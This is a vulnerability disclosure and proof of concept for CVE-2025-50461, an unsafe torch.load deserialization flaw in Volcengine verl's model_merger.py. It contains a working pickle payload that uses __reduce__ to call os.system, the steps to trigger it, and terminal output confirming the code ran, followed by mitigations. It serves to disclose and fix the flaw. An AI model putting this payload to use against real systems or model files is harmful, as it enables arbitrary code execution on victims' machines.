CVE-2025-50461 PoC — Volcengine verl 安全漏洞

Source

Associated Vulnerability

Description

Technical Details and Exploit for CVE-2025-50461

Readme

# CVE-2025-50461: Remote Code Execution via Unsafe Model Deserialization in Verl

> **Status: RESERVED**  
> This CVE ID has been assigned but is not yet published in the official CVE list.
> 
> A deserialization vulnerability exists in Volcengine's verl 3.0.0, specifically in the scripts/model_merger.py script when using the "fsdp" backend. The script calls torch.load() with weights_only=False on user-supplied .pt files, allowing attackers to execute arbitrary code if a maliciously crafted model file is loaded. An attacker can exploit this by convincing a victim to download and place a malicious model file in a local directory with a specific filename pattern. This vulnerability may lead to arbitrary code execution with the privileges of the user running the script.

## Description


## Affected Repository

- **Project:** [volcengine/verl](https://github.com/volcengine/verl)
- **Affect versions:** <= v0.4.0
- **File:** `scripts/model_merger.py`
- **GitHub Permalink:** https://github.com/volcengine/verl/blob/v0.3.0.post1/scripts/model_merger.py#L87
- **Dependency:** PyTorch < 2.6.0

## Proof of Concept (PoC)

### Step 1: Create Malicious Model File (`malicious.pt`)

```python
import pickle
import os

class Malicious:
    def __reduce__(self):
        return (os.system, ("mkdir HACKED!",))

with open("malicious.pt", "wb") as f:
    pickle.dump(Malicious(), f)
```

### Step 2: Rename and Place

```bash
mv malicious.pt model_world_size_4_rank_0.pt
mkdir TESTS
mv model_world_size_4_rank_0.pt TESTS/
```

### Step 3: Execute Vulnerable Script

```bash
python scripts/model_merger.py --backend="fsdp" --local_dir="TESTS" --hf_model_path="TESTS"
```

### Result

```
root@99137c7690ee:/workspace/verl-main# python scripts/model_merger.py --backend="fsdp" --local_dir="TESTS" --hf_model_path="TESTS"
Traceback (most recent call last):
  File "/workspace/verl-main/scripts/model_merger.py", line 440, in <module>
    convert_fsdp_checkpoints_to_hfmodels()
  File "/workspace/verl-main/scripts/model_merger.py", line 88, in convert_fsdp_checkpoints_to_hfmodels
    state_dict = torch.load(os.path.join(local_dir, f'model_world_size_{world_size}_rank_{rank}.pt'),
  File "/usr/local/lib/python3.10/dist-packages/torch/serialization.py", line 1384, in load
    return _legacy_load(
  File "/usr/local/lib/python3.10/dist-packages/torch/serialization.py", line 1630, in _legacy_load
    raise RuntimeError("Invalid magic number; corrupt file?")
RuntimeError: Invalid magic number; corrupt file?
root@99137c7690ee:/workspace/verl-main# ls
'HACKED!'   Notice.txt   TESTS   docker   examples   outputs   pyproject.toml       requirements.txt          scripts    test_prime.sh   tmp    verl.egg-info
 LICENSE    README.md    data    docs     patches    recipe    requirements_sglang.txt   setup.py   tests           verl   verl_demo.log
```

The command `mkdir HACKED!` is executed on the victim’s system.

## Mitigation

- **Upgrade** to PyTorch version 2.6.0 or later, which defaults to `weights_only=True`, reducing deserialization risks.
- **Modify code** to explicitly set `weights_only=True` when calling `torch.load`.
- **Implement validation** to verify model file integrity before loading.
- **Educate users** not to load models from untrusted sources.

### Example safer load: 

```python
state_dict = torch.load(path, map_location="cpu", weights_only=True)
```

## CVE Status

| Field            | Value                                      |
| ---------------- | ------------------------------------------ |
| CVE ID           | CVE-2025-50461                             |
| CVSS Score       | TBD                                        |
| CWE              | CWE-502: Deserialization of Untrusted Data |
| Report Date      | 2025-04-30                                 |
| Disclosure Date  | 2025-08-15                                 |
| Affected Version | <= v0.4.0                                   |
| Fix Version      |                                            |

## Author

* Discovered by: Yu Rong (戎誉) and Hao Fan (凡浩)
* Contact: *\[[anchor.rongyu020221@gmail.com](mailto:anchor.rongyu020221@gmail.com)]*

File Snapshot

 [4.0K]  /data/pocs/b15b9f358ebb39854f2676b057738bc07dcfd896
├── [1.0K]  LICENSE
└── [4.0K]  README.md

0 directories, 2 files

Remarks